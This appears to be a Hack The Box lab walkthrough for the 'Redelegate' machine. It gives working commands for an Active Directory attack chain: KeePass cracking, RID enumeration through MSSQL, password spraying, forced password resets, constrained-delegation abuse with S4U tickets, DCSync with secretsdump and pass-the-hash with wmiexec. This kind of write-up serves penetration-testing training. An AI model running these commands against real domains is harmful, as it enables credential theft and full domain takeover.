walkthroughs

HTB Redelegate Walkthrough: SeEnableDelegationPrivilege

HTB Redelegate Walkthrough: SeEnableDelegationPrivilege

Complete WriteUp of Hack The Box Redelegate: Anonymous FTP, KeePass, MSSQL, ForceChangePassword, SeEnableDelegationPrivilege, S4U, DCSync and Domain Admin.

  • Posted on 2026-07-18
  • Reading time: 5 min

HTB Redelegate Walkthrough: Anonymous FTP to Domain Admin with Constrained Delegation #

Redelegate is a “Hard” Windows machine on Hack The Box (released and retired July 17, 2025, created by Geiseric) focused on MSSQL enumeration, password spraying, and abusing constrained Kerberos delegation via SeEnableDelegationPrivilege . If you're still unclear about what that privilege means and how S4U2Self/S4U2Proxy works, you might want to read that article first—here, we'll assume you're familiar with the theory and focus on the practical walkthrough on the machine.

Reconnaissance #

A full port scan shows a typical profile from Windows Domain Controllers: DNS, Kerberos, LDAP, SMB, RPC, plus two non-standard services — FTP on port 21 and MSSQL on port 1433. The hostname is DC, the domain redelegate.vl.

bash
nmap -p- -vvv --min-rate 10000 10.129.234.50

It is worth generating the line right away for /etc/hosts with netexec, so all subsequent tools resolve the domain correctly:

bash
netexec smb 10.129.234.50 --generate-hosts-file hosts

The site on port 80 is the default IIS page, with no useful content even after brute-force directory extraction with feroxbuster. Anonymous/guest SMB authentication is disabled, so the actual entry point is elsewhere.

Anonymous FTP: the first step #

The FTP server accepts anonymous logins and exposes three files: a security audit note, an employee training agenda, and a shared KeePass database (Shared.kdbx).

bash
ftp anonymous@dc.redelegate.vl

The training agenda contains a detail that's anything but random: one of the course topics is "Why 'SeasonYear!' Isn't a Good Password"—a clear clue to the password scheme used in the company. The dates on the agenda allow us to deduce the reference year (2024).

Important: download the file .kdbx in binary FTP mode, otherwise you risk corrupting the database.

Crack the KeePass database #

The hash of the database is generated with keepass2john and try a small, targeted dictionary based on the “SeasonYear!” pattern (Winter2024!, Spring2024!, Summer2024!, Fall2024!, Autumn2024!) instead of relying on rockyou — much more efficient when you already have a known pattern:

bash
keepass2john Shared.kdbx | tee Shared.kdbx.hash
hashcat Shared.kdbx.hash seasons --user -m 13400

The resulting password unlocks the database, which contains several saved credentials — including a local MSSQL login (SQLGuest) and other entries not directly useful for accessing the domain.

MSSQL Access and Dead Ends #

The credentials SQLGuest They only work with local database authentication (--local-auth), not as Windows domain accounts — so they don't open SMB or WinRM directly.

bash
netexec mssql dc.redelegate.vl -u SQLGuest -p '<password>' --local-auth
mssqlclient.py SQLGuest:'<password>'@dc.redelegate.vl

Once inside, the only visible databases are the system ones — no interesting data. xp_cmdshell It is disabled and the user does not have permission to re-enable it. Even the classic attempt to steal the NetNTLMv2 hash of the SQL service account via xp_dirtree to an SMB share under your control leads to a hash that can't be cracked — a known dead end on this machine, so don't waste too much time on it.

Brute-force RID domain account enumeration in MSSQL #

The most effective approach is to enumeration of domain accounts directly via MSSQL, taking advantage of the fact that each AD object shares the same base SID per domain, only changing the final RID. In practice, you retrieve the base SID by querying a known group (e.g., Domain Admins), then sequentially try thousands of plausible RIDs by asking the server "Who is the object with this SID?" — if the response is non-zero, you've found a valid account.

Writing it by hand works, but it's slow and prone to errors when converting integers to little-endian hexadecimal. It's best to rely directly on the dedicated Metasploit module, which does all the work automatically:

text
msf6 > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set RHOSTS dc.redelegate.vl
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set USERNAME hackita
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set PASSWORD Hackita123
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > run

From this enumeration emerges the complete list of domain users, including two machine accounts (DC$, FS01$) and several standard users.

Password spraying with the seasonal pattern #

With the list of users in hand, we test the spray with the same “SeasonYear!” scheme deduced from the training agenda:

bash
netexec smb dc.redelegate.vl -u users.txt -p seasons.txt --continue-on-success

One of the credentials works for a user who is a member of the Helpdesk group. Note: A second account with elevated privileges responds with a different error (restricted account), indicating that the password there is still incorrect despite the abnormal response—don't confuse the two cases.

BloodHound Enumeration and Attack Path #

Using the Helpdesk user credentials, collect data with SharpHound or RustHound-CE (it is recommended to also launch a second collection with a different collector, because on this machine some edges are sometimes missing with just one tool):

bash
netexec ldap dc.redelegate.vl -u <utente> -p '<password>' --bloodhound --collection All --dns-server 10.129.234.50

Analyzing the graph in blood hound a classic case emerges of ACL abuse: Helpdesk user has ForceChangePassword on another user, who in turn has GenericAll on the computer object FS01$ — and is also a member of a group with Remote Management (WinRM) access.

First shell #

The second user's password is reset using the permissions inherited from the Helpdesk group. Instead of netexec (which has already been used several times), here we use net rpc, a Samba alternative that does the same thing by passing the RPC protocol:

bash
net rpc password "target-user" "Hackita123" -U "REDELEGATE.VL"/"hackita"%'Hackita123' -S "dc.redelegate.vl"

Replace target-user with the real user found via BloodHound, and hackita/Hackita123 with your Helpdesk credentials. The result is identical to a reset via netexec—just a different tool for the same purpose, useful to know when netexec is unavailable or experiencing problems.

Then you get a direct WinRM shell:

bash
evil-winrm-py -i dc.redelegate.vl -u <target-user> -p 'NuovaPassword123!'

From here you retrieve the user flag.

The key privilege #

A check of whoami /priv reveals that the user has both SeMachineAccountPrivilege is SeEnableDelegationPrivilege — the combination that opens the way to the final privesc.

MachineAccountQuota is set to 0, so the path of "clean" unconstrained delegation (create a new machine account) is closed. But the user already has GenericAll su FS01$, an existing computer account — a perfect condition for constrained delegation.

Exploitation: Constrained delegation on FS01$ #

Set the protocol transition flag and authorized SPN on the FS01$ account:

powershell
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}

Change your FS01$ account password to gain full control over it:

bash
netexec smb dc.redelegate.vl -u <target-user> -p 'NuovaPassword123!' -M change-password -o USER='FS01$' NEWPASS='Password123!'

And the service ticket is required Kerberos impersonating the Domain Controller's machine account (dc) - Not administrator, which on this machine is protected against delegation, exactly as explained in the theory article:

bash
getST.py 'redelegate.vl/FS01$:Password123!' -spn ldap/dc.redelegate.vl -impersonate dc

With the obtained ticket, the complete DCSync is performed via secretsdump:

bash
KRB5CCNAME=<file-ccache-ottenuto> secretsdump.py -k -no-pass dc.redelegate.vl

This is where all the NTLM hashes and Kerberos keys for the domain come from, including the Administrator's.

Root #

With the Administrator's NTLM hash you get a direct shell using wmiexec:

bash
wmiexec.py redelegate.vl/administrator@dc.redelegate.vl -hashes :<hash-ntlm-administrator>

And you retrieve the root flag from the Administrator desktop.

Chain Summary #

Anonymous FTP → KeePass cracked with targeted dictionary → local MSSQL credentials → domain account enumeration via RID brute-force on MSSQL → password spray with the same pattern → ACL abuse (ForceChangePassword → GenericAll) → WinRM shell → SeEnableDelegationPrivilege + GenericAll on an existing computer account → constrained delegation on ldap/ to the DC, impersonating the DC's machine account instead of Administrator (protected) → DCSync → Domain Admin.

If the part of the binding delegation is not clear to you in detail - why is it necessary to impersonate dc instead of administrator, what do the flags mean userAccountControl, or how to fix the most common Kerberos errors — you'll find everything covered in more detail in thearticle dedicated to SeEnableDelegationPrivilege.

#hackthebox #delegation #seenabledelegationprivilege

leave a message

I'm not a robot